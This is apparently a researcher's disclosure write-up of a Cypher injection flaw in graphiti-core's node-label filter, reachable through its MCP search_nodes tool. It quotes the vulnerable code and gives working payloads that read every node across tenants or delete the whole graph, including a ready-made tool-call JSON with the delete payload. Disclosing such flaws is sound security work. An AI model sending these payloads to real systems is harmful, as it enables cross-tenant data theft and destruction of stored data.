
Cypher Injection in graphiti-core (getzep/graphiti) via unsanitized node_labels — CVSS 8.1
Severity: High (CVSS 8.1)
CWE: CWE-943 — Improper Neutralization of Special Elements in Data Query Logic
Affected: graphiti-core <= 0.28.1 (pip)
Fixed in: 0.28.2
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
graphiti-core builds Cypher WHERE clauses by joining user-supplied node label strings with | and concatenating them into a raw query. An attacker can inject arbitrary Cypher operators, exfiltrate data from any graph node across all tenants, or delete the entire graph — no parameterization, no validation anywhere in the chain.
I was systematically scanning MCP server repositories from the list, focusing on any project that bridges LLM agents to a database backend. Graphiti stood out because it's positioned as memory layer for AI agents — high-value target.
My scanning pattern for graph databases is simple: grep for f-strings containing MATCH, WHERE, or label concatenation. The line 'n:' + node_labels in search_filters.py jumped out immediately — it's raw string concatenation going straight into a Cypher query. The variable came from entity_types in the MCP tool handler with zero validation.
What made this interesting beyond a standard injection: Cypher's WITH clause lets you break out of a WHERE context and start a completely new pipeline. So ) closes the parenthesized label expression, WITH n transitions to a new clause, and // silently drops the rest of the original query. One payload, full graph access.
I confirmed it in 10 minutes by reproducing the exact logic in a standalone Python script, verified DETACH DELETE deleted all nodes, then wrote the GHSA report.
File: graphiti_core/search/search_filters.py, lines 91–92 and 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Entry point: mcp_server/src/graphiti_mcp_server.py, line 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
The entity_types parameter flows from the MCP search_nodes tool call directly into the query builder. Both Neo4j and FalkorDB backends are affected. The Kuzu backend is not affected because it uses parameterized queries.
The node_label_filter value (n:Label1|Label2) is embedded into a Cypher query as:
WHERE (n:Label1|Label2) AND ...
Because labels are joined by | and wrapped in parentheses by the caller, an attacker only needs to close the expression with ) and inject new Cypher clauses. The // comment operator suppresses the rest of the original query.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Via MCP tool call:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id namespacesDETACH DELETE wipes the entire graphgroup_id filter is applied after the injectable label filter — injecting a WITH clause bypasses it entirelyThe patched version validates node labels against an allowlist of alphanumeric characters before interpolation, and the fulltext search path uses parameterized queries for group_id values.